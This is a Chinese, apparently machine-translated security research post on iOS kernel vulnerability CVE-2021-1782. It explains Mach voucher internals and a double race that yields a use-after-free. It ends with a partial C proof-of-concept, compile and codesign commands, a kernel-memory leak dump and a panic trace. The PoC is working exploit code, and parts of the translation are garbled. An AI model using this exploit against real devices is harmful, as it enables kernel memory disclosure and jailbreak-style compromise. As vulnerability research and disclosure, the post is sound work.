两周前,CVE-2021-1782被苹果公司修复。如果此内核漏洞的补丁很简单,那么仍将发现一种利用该漏洞的方法。这篇博客文章旨在解释在提供PoC时如何利用漏洞。
TL / DR:你要比赛两次利用该bug,在PoC是在年底或出现。
编辑:好吧,@ ModernPwner似乎刚刚发布了此漏洞的利用程序,比我们快了几个小时!恭喜他们!您可以在此处找到他们的漏洞利用。
介绍
苹果几天前发布了iOS 14.4,主要解决了安全问题。首先,发行说明描述了根据编辑器CVE-2021-1782(内核),CVE-2021-1870和CVE-2021-1870(WebKit)被积极利用的三个漏洞。这些说明后来进行了更新,以包含有关其他问题的更多详细信息。
除了匿名研究员报告的种族状况外,CVE-2021-1782的详细信息还很少。但是,由于此更新仅针对新功能,因此可以通过二进制差异查找内核错误。CVE-2021-1782是由于凭证实施中缺少锁定而迅速成为公共信息(@ s1guza)user_data_get_value()。
几天后,XNU最新资源(xnu-7195.81.3)的发布给出了以下新代码user_data_get_value():
switch (command) {
case MACH_VOUCHER_ATTR_REDEEM:
/* redeem of previous values is the value */
if (0 < prev_value_count) {
elem = (user_data_element_t)prev_values[0];
user_data_lock(); // the locks were added here ...
assert(0 < elem->e_made);
elem->e_made++;
user_data_unlock(); // ... and here
*out_value = (mach_voucher_attr_value_handle_t)elem;
return KERN_SUCCESS;
}
/* redeem of default is default */
*out_value = 0;
return KERN_SUCCESS;
我们想知道该漏洞如何被利用。起初,很明显,本节可以与自己比赛,而e_made计数可能会丢失。这是因为增量不是原子的。但是,通过查看代码,如何利用它来实现潜在的“售后使用”情况并不太明显。
我们花了一些时间来解决这个问题,这篇博客文章介绍了我们的结果以及触发该漏洞的PoC。
马赫凭证基础
凭证作为马赫对象
Mach凭证不是XNU最明显的概念,因此让我们从对它们的介绍开始。我们不会涵盖所有内容,但是我们将尝试提供足够的信息来理解为什么不能简单地访问UaF。
马赫凭证是用于存储和表示不可变资源的内核对象。凭证的大多数实现位于/osfmk/ipc/ipc_voucher.c源文件中。以纯Mach方式,凭证可以在用户域中作为mach port(mach_voucher_t)处理,而内核使用更复杂的struct ipc_voucher。然后,如预期的那样,可以通过在马赫消息中发送凭证来在进程间通信(IPC)中使用凭证。
凭证属性
在凭证的后面,可以引用各种资源。在凭证行话中,这些不同的资源称为属性。
现在XNU有4种不同的属性类型,banks,ipc_importance,ipc_thread_priority和user_data。对于今天的博客文章,我们仅关注user_data用于将用户数据存储为纯文本的凭证类型。
每个属性类型都有其自己的标识符,即键(mach_voucher_attr_key_t)。该键用于指定函数应使用的属性,以后再介绍。例如,可以通过访问“ bank”属性MACH_VOUCHER_ATTR_KEY_BANK。
此外,每个属性还带有其自己的管理器(ipc_voucher_attr_manager_t),该管理器是一组用于处理凭单下特定数据的回调。
struct ipc_voucher_attr_manager {
ipc_voucher_attr_manager_release_value_t ivam_release_value;
ipc_voucher_attr_manager_get_value_t ivam_get_value;
ipc_voucher_attr_manager_extract_content_t ivam_extract_content;
ipc_voucher_attr_manager_command_t ivam_command;
ipc_voucher_attr_manager_release_t ivam_release;
ipc_voucher_attr_manager_flags ivam_flags;
};
最后但并非最不重要的ipc_voucher_attr_control_t一点是,每个属性还链接了一个控制端口(),但这不在本文的讨论范围之内。有关如何注册属性管理器的更多详细信息,请参见的代码ipc_register_well_known_mach_voucher_attr_manager()。
考虑到这一点,我们可以说整个凭证实现分为两层:
-
上层通用凭证层,负责簿记(对参考进行计数和存储)和IPC(处理用户名/ kerneland港口翻译)
-
特定于属性并由属性管理器处理的内层。
凭证创建
从用户那里,由于有了host_create_mach_voucher()马赫陷阱,所以可以创建代金券:
kern_return_t host_create_mach_voucher(mach_port_name_t host,
mach_voucher_attr_raw_recipe_array_t recipes,
mach_voucher_attr_recipe_size_t recipesCnt,
mach_port_name_t *voucher)
因此host_create_mach_voucher()需要一组一个或多个配方(mach_voucher_attr_recipe_data_t)。配方说明了内核在生成引用之前应如何构造凭证。配方由command,属性key和通常是content或对的引用组成previous_voucher(但可能两者都有)。
typedef struct mach_voucher_attr_recipe_data {
mach_voucher_attr_key_t key;
mach_voucher_attr_recipe_command_t command;
mach_voucher_name_t previous_voucher;
mach_voucher_attr_content_size_t content_size;
uint8_t content[];
} mach_voucher_attr_recipe_data_t;
在凭证创建期间,ipc_execute_voucher_recipe_command()将为该组的每个配方调用该凭证。它考虑了成形凭证command和提供的content凭证或先前的凭证。形成凭证通过每个配方,然后将所得凭证返还给用户区。
例如,通过在MACH_VOUCHER_ATTR_COPY命令中使用配方和上一个凭证,我们将获得一个新凭证,该凭证是前一个凭证的副本。如果看起来很傻,那是因为我们通常使用特定于凭证属性的命令来创建凭证。例如,user_data可以使用包含MACH_VOUCHER_ATTR_USER_DATA_STORE命令的配方制作凭证。以下是如何创建此类凭证的示例:
struct store_recipe {
mach_voucher_attr_recipe_data_t recipe;
uint8_t content[1024];
};
struct store_recipe recipe = {0};
recipe.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipe.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipe.recipe.content_size = VOUCHER_CONTENT_SIZE;
strcpy(recipe.content, "SYNACKTIV");
mach_port_t port = MACH_PORT_NULL;
host_create_mach_voucher(mach_host_self(), &recipe, sizeof(recipe), &port);
之后,可以使用提取凭证的内容mach_voucher_extract_attr_recipe()。
凭证记账
在凭证内,值与泛型一起存储struct ivac_entry_s:
struct ivac_entry_s {
iv_value_handle_t ivace_value;
iv_value_refs_t ivace_layered:1, /* layered effective entry */
ivace_releasing:1, /* release in progress */
ivace_free:1, /* on freelist */
ivace_persist:1, /* Persist the entry, don't count made refs */
ivace_refs:28; /* reference count */
union {
iv_value_refs_t ivaceu_made; /* made count (non-layered) */
iv_index_t ivaceu_layer; /* next effective layer (layered) */
} ivace_u;
iv_index_t ivace_next; /* hash or freelist */
iv_index_t ivace_index; /* hash head (independent) */
};
typedef struct ivac_entry_s ivac_entry;
typedef ivac_entry *ivac_entry_t;
#define ivace_made ivace_u.ivaceu_made
#define ivace_layer ivace_u.ivaceu_layer
这ivace_value是不透明的类型,取决于存储的属性。例如,当与user_data属性一起使用时,此字段存储一个user_data_element_t。
ivace_next和ivace_index是索引,用于ivac_entry_t从不同的表中检索。但是,凭证在更高层上存储其条目的方式与CVE-2021-1782的研究并不真正相关,因此我们将继续进行下去。
更有趣的是,我们看到ivace_refs和ivace_made。ivace_refs代表ivace_value存在多少个实时引用(即引用计数),该引用数会发生波动。ivace_made占引用的时间,因此该字段只会增加。为了简单起见,我们假设大多数情况下,ivace_made和ivace_refs都是使用一起增加的ivace_reference_by_value()(更狂热的读者总是可以阅读ivace_reference_by_index()以查看更多细微差别)。
重要的是要知道,由于凭单的不可更改性(仅读为准),因此无需两次存储相同的值(即整个概念)。为了避免这样做,实施了重复数据删除功能。因为凭证层不知道属性管理器如何存储值,所以通常在两个层上都可以找到此功能。例如,请参见iv_dedup()(凭证层)和user_data_dedup()(经理层)。这个事实也解释了为什么voucher_t当我们两次创建相同的凭单时会得到相同的端口。
漏洞和凭证发布周期
现在我们可以回到的补丁了user_data_get_value()。此函数是.ivam_get_value“ user_data”属性管理器的回调。它在凭证创建期间用于user_data_element_t从该层获取。
struct user_data_value_element {
mach_voucher_attr_value_reference_t e_made;
mach_voucher_attr_content_size_t e_size;
iv_index_t e_sum;
iv_index_t e_hash;
queue_chain_t e_hash_link;
uint8_t e_data[];
};
typedef struct user_data_value_element *user_data_element_t;
与MACH_VOUCHER_ATTR_USER_DATA_STORE命令一起使用时,除非存在重复项user_data_element_t,user_data_get_value()否则创建新项。与MACH_VOUCHER_ATTR_REDEEM命令一起使用时,user_data_get_value()将从先前的凭证(或成形凭证)中获取值。在这两种情况下,e_made参考值都是递增的(请参阅参考资料user_data_dedup())。
缺少user_data_lock(),我们知道该漏洞使我们能够应对e_made增量。实际上,通过发出两个host_create_mach_voucher()和命令MACH_VOUCHER_ATTR_REDEEM,我们也许可以“跳过”一个增量。
因此,该元素的引用计数可能在管理者级别处于关闭状态。现在出现了一个问题:如何user_data_element_t释放它?好吧,让我们看看user_data_release_value()哪个负责发布user_data_element_t。
当释放上层的表示值时,此函数仅称为中的.ivam_release_value回调。这是相关的和带注释的代码:ivace_release()ivac_entry_t
static void ivace_release(
iv_index_t key_index,
iv_index_t value_index)
{
// [...]
ipc_voucher_attr_control_t ivac;
mach_voucher_attr_value_reference_t made;
ivac_entry_t ivace;
// [...]
ivgt_lookup(key_index, FALSE, &ivam, &ivac); [1]
ivac_lock(ivac);
// [...]
ivace = &ivac->ivac_table[value_index]; [2]
// [...]
if (0 < --ivace->ivace_refs) { [3]
ivac_unlock(ivac);
return;
}
// [...]
value = ivace->ivace_value; [4]
redrive:
// [...]
made = ivace->ivace_made;
ivac_unlock(ivac); [5]
kr = (ivam->ivam_release_value)(ivam, key, value, made); [6]
ivac_lock(ivac);
ivace = &ivac->ivac_table[value_index];
/*
* new made values raced with this return. If the
* manager OK'ed the prior release, we have to start
* the made numbering over again (pretend the race
* didn't happen). If the entry has zero refs again,
* re-drive the release.
*/
[7]
// [...]
[8]
// [...]
/* Put this entry on the freelist */
ivace->ivace_value = 0xdeadc0dedeadc0de;
ivace->ivace_releasing = FALSE;
ivace->ivace_free = TRUE;
ivace->ivace_made = 0;
ivace->ivace_next = ivac->ivac_freelist;
ivac->ivac_freelist = value_index;
ivac_unlock(ivac);
ivac_release(ivac);
return;
}
-
在[1]中,经理被提取user_data_manager。
-
在[2]中,获取了负责我们价值的虚假信息。
-
在[3]中,如果不是最后一个引用,则释放过程将停止。
-
在[4]中user_data_element_t被获取。
-
在[5]中,将ivac锁放开,这为ivace-> ivace_made修改的竞赛提供了空间,但这是另一回事了。
-
在[6]中,函数user_data_release_value()以我们的元素ivace->ivace_made作为参数被调用。
-
在[7]有最终的比赛在搬运[5] ,这是有趣的,但超出范围现在。
-
在[8]中,ivace从ivac哈希表中删除。
这是有关的代码user_data_release_value():
static kern_return_t
user_data_release_value(
ipc_voucher_attr_manager_t __assert_only manager,
mach_voucher_attr_key_t __assert_only key,
mach_voucher_attr_value_handle_t value,
mach_voucher_attr_value_reference_t sync)
{
// [...]
user_data_lock();
if (sync == elem->e_made) {
queue_remove(&user_data_bucket[hash], elem, user_data_element_t, e_hash_link);
user_data_unlock();
kfree(elem, sizeof(*elem) + elem->e_size);
return KERN_SUCCESS;
}
assert(sync < elem->e_made);
user_data_unlock();
return KERN_FAILURE;
}
ivace->ivace_made作为sync参数传递的事实非常有趣。的确,如果sync不等于elem->e_made,elem就不会释放。
现在我们意识到,这两层都有一个计数,应该同步。一般的想法是,在正常操作下,elem->e_made应匹配ivace->ivace_made。这种实现方式是这样的,以便在调用时发生(合法)竞争时ivace_release(),管理器不会最终释放资源。
当我们碰巧触发漏洞并跳过一个增量时,我们只会得到一个ivace->ivace_made大于的值elem->e_made。这打破了同步,也打破了我们希望user_data_element_t有空后再使用的希望。
好吧,必须有另一种“重新同步”层的方法!
另一场(合法的)比赛
到目前为止,我们知道ivace->ivace_made会增加ivace_reference_by_value()。另一方面elem->e_made,user_data_get_value()当我们使用MACH_VOUCHER_ATTR_REDEEM或创建凭证时,通过递增MACH_VOUCHER_ATTR_USER_DATA_STORE。
为了使所有内容保持同步,我们希望两个函数始终一起被调用。在中ipc_replace_voucher_value(),就是这种情况,在凭证创建过程中大多数命令都会调用:
/*
* Routine: ipc_replace_voucher_value
* Purpose:
* Replace the <voucher, key> value with the results of
* running the supplied command through the resource
* manager's get-value callback.
* Conditions:
* Nothing locked (may invoke user-space repeatedly).
* Caller holds references on voucher and previous voucher.
*/
static kern_return_t
ipc_replace_voucher_value(
ipc_voucher_t voucher,
mach_voucher_attr_key_t key,
mach_voucher_attr_recipe_command_t command,
ipc_voucher_t prev_voucher,
mach_voucher_attr_content_t content,
mach_voucher_attr_content_size_t content_size)
{
// [...]
/* save the current value stored in the forming voucher */
save_val_index = iv_lookup(voucher, key_index);
/*
* Get the previous value(s) for this key creation.
* If a previous voucher is specified, they come from there.
* Otherwise, they come from the intermediate values already
* in the forming voucher.
*/
prev_val_index = (IV_NULL != prev_voucher) ?
iv_lookup(prev_voucher, key_index) :
save_val_index;
ivace_lookup_values(key_index, prev_val_index, // [1]
previous_vals, &previous_vals_count);
/* Call out to resource manager to get new value */
new_value_voucher = IV_NULL;
kr = (ivam->ivam_get_value)( // [2]
ivam, key, command,
previous_vals, previous_vals_count,
content, content_size,
&new_value, &new_flag, &new_value_voucher);
// [...]
/*
* Find or create a slot in the table associated
* with this attribute value. The ivac reference
* is transferred to a new value, or consumed if
* we find a matching existing value.
*/
val_index = ivace_reference_by_value(ivac, new_value, new_flag); // [3]
iv_set(voucher, key_index, val_index);
/*
* release saved old value from the newly forming voucher
* This is saved until the end to avoid churning the
* release logic in cases where the same value is returned
* as was there before.
*/
ivace_release(key_index, save_val_index); // [4]
return KERN_SUCCESS;
}
在[1]中,我们检索了ivac_entry_t
与成型凭单或关联的prev_voucher
。然后从该条目中拉出user_data_element_t
previous_vals
。在这一点上,我们确信previous_vals
无法释放。为了确立我们必须理解的引用语义.ivace_refs
。这里有两种可能性:
-
如果所考虑的凭单(
prev_voucher
或voucher
)没有价值,previous_vals
则为NULL。如果我们将新值存储MACH_VOUCHER_ATTR_USER_DATA_STORE
在当前为空的新凭证中,则可能会发生这种情况。 -
如果所考虑的凭证具有价值,则它可以来自
prev_voucher
或成形凭证。在第一种情况下,prev_voucher
必须将a传递voucher_t
给内核,因此我们获得了保存在voucher mach端口中的ivace参考。例如,当我们使用MACH_VOUCHER_ATTR_COPY
或MACH_VOUCHER_ATTR_REDEEM
并指定前一张凭证时,就会发生这种情况。在第二种情况下,如果成形凭单具有价值,则意味着我们已经进行了的迭代ipc_execute_voucher_recipe_command()
。在这种情况下,通过ivace_reference_by_value()
(或ivace_reference_by_index()
)在上一次迭代中获取了ivace上的引用。
在[2]处,我们将配方应用于管理器以从中获取新值(user_data_get_value()
)。由于重复数据删除,使用MACH_VOUCHER_ATTR_USER_DATA_STORE
它可以创建一个新的user_data_element_t
或重用现有的一个。使用MACH_VOUCHER_ATTR_REDEEM
,auser_data_element_t
被重用。在这两种情况下,在[2]之后我们都增加了new_value[0]->e_made
。
在[3]中,我们创建或找到链接ivac_entry_t
,然后递增ivace->ivace_refs
和ivace->ivace_made
。
在[4]中,我们释放ivac_entry_t
成形凭证的先前值。
这里的语义非常复杂,我们花了一些时间来弄清楚如何使用此功能来利用CVE-2021-1782带来的不同步。确实,还有另一种棘手的比赛条件,允许在调温后的同步车user_data_element_t
和同步车之间恢复同步,ivac_entry_t
同时使ivac可以释放。
事实上,在[2] ,我们会碰到的new_value[0]->e_made
一个值,而无需对链接的引用ivac_entry_t yet.
要做到这一点,让我们考虑在漏洞被触发上的情况下user_data_element_t U0
与相关ivac_entry_t IVAC0
的voucher_t V0
我们有:
U0.e_content = "AAAA" // chosen value
U0.e_made = N // unknown
IVAC0.ivace_refs = 1
IVAC0.ivace_made = N+1 // thanks to the vulnerability
然后,我们将尝试在比赛中执行以下操作:
-
主题1:消灭凭证通过
mach_port_destroy(mach_task_self(), V0)
,这将触发ivace_release()
对IVAC0
-
线程2:使用
host_create_mach_voucher()
和命令创建新的user_data凭证MACH_VOUCHER_ATTR_USER_DATA_STORE
,使用的内容与V0
(“ AAAA”)上的内容相同。
如果一切正常触发,我们可能有以下顺序:
-
线程2执行[1],这时我们还没有对IVAC0进行任何引用,因为还没有任何值。
-
线程2执行[2],因为重复数据删除U0.e_made递增为N + 1,所以我们仍然没有任何引用
IVAC0.
-
线程1个执行
ivace_release()
,消耗在其上的最后的引用,以便user_data_release_value
被调用,IVAC0.ivace_made
并且U0.e_made
匹配因此释放U0
。 -
线程2执行[3]创建一个新对象
ivac_entry_t
,new_value
释放后将被使用。 -
线程2返回,为用户区提供了
voucher_t
引用释放的新内容user_data_element_t.
因此,我们获得了UaF!
值得指出的是,第二场比赛是完全合法的,而不是错误。当先前的不同步(由漏洞引起)不可行时,我们认为没有真正的问题。在通常情况下,可以正确处理此竞争的代码会出现在ivace_release()
(摘录中已注释掉)。至多,我们认为某些内容user_data_element_t
可能永远不会被释放,但这是供读者了解的。
开发!
为了说明我们的(复杂的)解释,我们在https://github.com/synacktiv/CVE-2021-1782提供了一个iOS 13的POC,该POC泄漏了内核数据。
这个想法是喷雾控制OSData
覆盖被释放的user_data_element_t
。通过控制.e_size
字段,我们可以使用来回读和读取数据mach_voucher_extract_attr_recipe()
。(感谢Brandon Azad(@_bazad)提供了有用的iosurface.c!)。
-bash-3.2# ./voucher_leak 10000
[+] legit recipe_size:1024
[+] attempt number:0
[+] UaF after 1 attempts
[+] recipe_size was corrupted:0x13ff instead of 0x400!
07 00 00 00 D3 00 00 00 00 00 00 00 EF 13 00 00 | ................
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
// [...]
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 | AAAAAAAAAAAAAAA.
00 00 00 00 00 00 00 00 00 57 05 00 00 00 00 00 | .........W......
4E CC 00 00 00 00 00 00 00 57 05 00 00 00 00 00 | N........W......
00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 5F 5F 75 6E 77 69 6E 64 | ........__unwind
00 00 00 00 FF 00 00 00 80 47 C1 82 02 00 00 00 | .........G......
EF BE AD DE 00 00 00 00 EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
92 EE B7 D7 C9 EE FF C0 00 4A 17 02 E0 FF FF FF | .........J......
00 BC 1E 02 E0 FF FF FF 00 16 01 03 E0 FF FF FF | ................
00 2A 01 03 E0 FF FF FF 00 38 01 03 E0 FF FF FF | .*.......8......
00 10 01 03 E0 FF FF FF 00 34 01 03 E0 FF FF FF | .........4......
00 3E 01 03 E0 FF FF FF 00 3C 01 03 E0 FF FF FF | .>.......<......
00 3A 01 03 E0 FF FF FF 00 A6 13 03 E0 FF FF FF | .:..............
00 78 06 02 E0 FF FF FF 00 80 0D 02 E0 FF FF FF | .x..............
00 AC 0D 02 E0 FF FF FF 00 BA 13 03 E0 FF FF FF | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
// [...]
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE 2F 70 72 65 66 65 72 65 | ......../prefere
6E 63 65 73 2F 63 6F 6D 2E 61 70 70 6C 65 2E 6E | nces/com.apple.n
65 74 77 6F 72 6B 65 78 74 65 6E 73 69 6F 6E 2E | etworkextension.
75 75 69 64 63 61 63 68 65 2E 70 6C 69 73 74 00 | uuidcache.plist.
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE | ................
EF BE AD DE EF BE AD DE 92 EE B7 D7 C9 EE FF C0 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 | ................
11 00 00 00 00 00 00 00 25 00 00 00 00 00 00 00 | ........%.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 03 2D 00 00 | .............-..
00 00 06 00 00 00 00 00 00 19 16 01 E0 FF FF FF | ................
F0 2D 30 04 E0 FF FF FF 00 00 00 00 00 00 00 00 | .-0.............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
30 E0 80 32 01 00 00 00 34 00 00 00 01 00 00 00 | 0..2....4.......
01 00 00 00 01 00 00 00 00 00 00 80 01 00 00 00 | ................
00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 | ................
25 00 00 00 00 00 00 00 F6 00 04 00 00 00 00 00 | %...............
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 23 27 00 00 00 00 01 00 00 00 00 00 | ....#'..........
00 00 00 00 00 00 00 00 F0 8F 14 00 E0 FF FF FF | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
00 00 00 00 00 00 00 00 90 38 71 02 01 00 00 00 | .........8q.....
// [...]
在iOS 14(<14.4)上,由于缓解了分配器,因此喷涂技术将不起作用。但是,我们仍然可以使用ools端口进行喷涂。但是,这不会造成泄漏,因为该.e_size
成员与半个ipc_port_t
指针碰撞。这使得大小太大而无法检索。这是因为最大5120字节(请参阅mach_voucher_extract_attr_recipe_trap()
和user_data_extract_content()
)。
您可以尝试-DWITH_OOL
通过在内核崩溃时编译PoC来演示iOS 14(或更早版本)上的漏洞。这是通过和赎回命令来增加一个ipc_port_t
指针(而不是.e_made
)来完成的host_create_mach_voucher()
。
-bash-3.2# ./voucher_leak 10000
[+] legit recipe_size:1024
[+] attempt number:0
[+] attempt number:1000
[+] UaF detected with KERN_NO_SPACE!
[+] out ool ports probably got our alloc
[+] let's try to panic...
[+] 3
[+] 2
[+] 1
Connection to 127.0.0.1 closed by remote host.
Connection to 127.0.0.1 closed.
正如预期的那样,由于指针对齐已中断,因此在处理mach消息时会遇到以下恐慌:
panic(cpu 1 caller 0xXXXXXXXXXXXXXXXX): Unaligned kernel data abort. at pc 0xXXXXXXXXXXXXXXXX, lr 0xXXXXXXXXXXXXXXXX (saved state: 0xXXXXXXXXXXXXXXXX)
结论
至此,我们对CVE-2021-1782补丁的分析结束了。这次旅行使我们深入研究了马赫凭证的内部结构。利用了解和触发另一个(合法)竞争条件所需的漏洞。
我们认为应该有可能根据CVE-2021-1782(事实上,有些演员确实这样做了)来构成一次全面的越狱。此外,事实证明该漏洞确实稳定并且可以快速触发。因此,随时进行尝试。
我们希望对马赫凭证有所启发,即使困难重重,仍然有很多内容需要解决,在某些方面我们可能是错误的。如果您发现我们的帖子中有任何错误或发现利用此漏洞的其他方法,我们将很高兴收到您的来信,请随时与我们联系。
我要感谢我的同事Eloi Benoist-Vanderbeken,Fabien Perigaud和Etienne Helluy-Lafont在撰写本博客中所提供的帮助。
POC
/*
This is a PoC for CVE-2021-1782, a XNU kernel vulnerability for iOS <= 14.3.
The bug is a lack of locks in user_data_get_value() on the user_data voucher attribute manager.
With a double race we can manage to get an user_data_element_t used after free.
For more details see Synacktiv's blog post on: https://www.synacktiv.com/publications/analysis-and-exploitation-of-the-ios-kernel-vulnerabilty-cve-2021-1782.
On iOS 13 the bug will leak kernel data around an OSData allocation
To compile:
xcrun --sdk iphoneos clang -arch arm64 -framework IOKit voucher_leak.c iosurface.c log.c -O3 -o voucher_leak
codesign -s - voucher_leak --entitlement entitlements.xml -f
The technique will not work on iOS 14 but if you want to demonstrate a kernel panic you can try with -DWITH_OOL
Credits to Brandon Azad for iosurface.c iosurface.h log.c log.h IOKitLib.h
*/
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <mach/mach.h>
#include "iosurface.h"
#include "log.h"
#define MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE 5120
#define MACH_VOUCHER_TRAP_STACK_LIMIT 256
#define NB_DESYNC_THREADS 2
#define REDEEM_MULTIPLE_SIZE 256
#define RECIPE_ATTR_MAX_SIZE 5120
// 1008 == 5120 - (256+1) * sizeof(mach_voucher_attr_recipe_data_t)
#define VOUCHER_CONTENT_SIZE 1008 // make a 1008 + sizeof(user_data_value_element) == 1040 bytes kalloc()
#ifdef WITH_OOL
#define NB_MSG 128
#define NB_OOL_PORTS 130 // 130 * 8 == 1040 == 1008 + sizeof(user_data_value_element)
#define NB_DESC 1
#endif
#define ENFORCE(a, label)
do {
if (__builtin_expect(!(a), 0))
{
ERROR("%s is false (l.%d)", #a, __LINE__);
goto label;
}
} while (0)
/* from https://gist.github.com/ccbrown/9722406#file-dumphex-c */
static void hexdump(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = ' ';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = ' ';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s n", ascii);
}
}
}
}
#pragma pack(push, 4)
struct store_recipe
{
mach_voucher_attr_recipe_data_t recipe;
uint64_t nonce;
uint8_t padding[VOUCHER_CONTENT_SIZE-sizeof(uint64_t)];
};
struct multi_redeem_recipe
{
mach_voucher_attr_recipe_data_t store_recipe;
uint64_t nonce;
uint8_t padding[VOUCHER_CONTENT_SIZE-sizeof(uint64_t)];
mach_voucher_attr_recipe_data_t redeem_recipe[REDEEM_MULTIPLE_SIZE];
};
struct user_data_value_element
{
uint32_t e_made;
uint32_t e_size;
uint32_t e_sum;
uint32_t e_hash;
uint64_t e_hash_link_next;
uint64_t e_hash_link_prev;
uint8_t e_data[];
};
typedef struct user_data_value_element *user_data_element_t;
#pragma pack(pop)
/* this is a really lousy way of sync'ing but it works pretty ok */
enum race_sync_flag_e
{
RACE_SYNC_STOPPED,
RACE_SYNC_SPRAY_SETUP_READY,
RACE_SYNC_SPRAY_GO,
RACE_SYNC_ENTER_CRITICAL_SECTION,
RACE_SYNC_SPRAY_DONE,
RACE_SYNC_SPRAY_CLEANABLE,
};
typedef enum race_sync_flag_e race_sync_flag_t;
volatile uint64_t g_race_sync = 0;
volatile uint64_t g_spray_abort_flag = 0;
volatile mach_port_t g_voucher_port = MACH_PORT_NULL;
static int voucher_user_data_store(volatile mach_port_t *out_port, uint64_t nonce)
{
struct store_recipe store_r = {0};
store_r.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
store_r.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
store_r.recipe.content_size = VOUCHER_CONTENT_SIZE;
store_r.nonce = nonce,
memset(store_r.padding, 0, sizeof(store_r.padding));
mach_port_t port = MACH_PORT_NULL;
ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&store_r, sizeof(store_r), &port) == KERN_SUCCESS, fail);
*out_port = port;
return 0;
fail:
return -1;
}
static int voucher_user_redeem_multiple(mach_port_t *out_port, uint64_t nonce, uint32_t number)
{
struct multi_redeem_recipe multi = {0};
multi.store_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
multi.store_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
multi.store_recipe.content_size = VOUCHER_CONTENT_SIZE;
multi.store_recipe.previous_voucher = MACH_PORT_NULL;
multi.nonce = nonce;
memset(multi.padding, 0, sizeof(multi.padding));
for (uint64_t i = 0; i < number; i++)
{
multi.redeem_recipe[i].key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
multi.redeem_recipe[i].command = MACH_VOUCHER_ATTR_REDEEM;
multi.redeem_recipe[i].content_size = 0;
multi.redeem_recipe[i].previous_voucher = MACH_PORT_NULL;
}
mach_port_t port = MACH_PORT_NULL;
ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&multi,
sizeof(mach_voucher_attr_recipe_data_t) + VOUCHER_CONTENT_SIZE + number * sizeof(mach_voucher_attr_recipe_data_t),
&port) == KERN_SUCCESS, fail);
*out_port = port;
return 0;
fail:
return -1;
}
#ifdef WITH_OOL
static int voucher_user_redeem_with_prev(mach_port_t *out_port, mach_port_t prev)
{
mach_voucher_attr_recipe_data_t recipe = {0};
